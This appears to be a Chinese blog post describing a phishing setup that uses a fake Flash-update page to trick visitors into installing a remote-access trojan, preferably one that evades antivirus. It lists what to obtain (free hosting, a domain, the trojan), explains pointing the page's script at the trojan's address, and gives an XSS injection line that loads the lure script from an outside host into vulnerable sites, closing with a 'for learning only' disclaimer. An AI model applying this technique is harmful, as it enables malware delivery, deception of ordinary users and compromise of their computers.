FLASH也是一个钓鱼竿

        好久没写推文了，怕粉丝忘了自己，于是写一下钓鱼的那些事，不过还不错的例子~

        今天就使用flash更新作为诱饵，进行钓鱼。在渗透当中，想要控制终端的PC，一般采用宏病毒文件或者flash钓鱼，但flash钓鱼需要满足两个：

1、免费的空间2、一个正常上线的马（最好能免杀）3、免费的域名

将代码文件传送到空间或者自己的服务器，

就这几个文件，再将自己的马放在同目录下，在js文件修改马地址，我这里为了演示跳转到百度。

修改完，就可以访问网站，就得到这个页面。是不是很真实，如果一般新手应该会点击升级。不然一直弹窗他也烦~哈哈哈

再看看index.html的文件内容，内容相当简单。

没什么复杂，就是加载了一个js文件，那么xss漏洞的网站，也是可以测试的哦~

<script src="http://xxxx/flash.js"></script>

如图，我在本地搭建了具有xss漏洞的代码，将弹窗代码传参进入得到

效果图，也是很逼真，个人感觉还是很不错的一个钓鱼竿~

至于代码嘛，在公众号回复“钓鱼竿”就可以得到了，该项目是某位大佬的开源项目~

文章声明：该工具、教程仅供学习参考，请勿非法使用。否则与作者无关！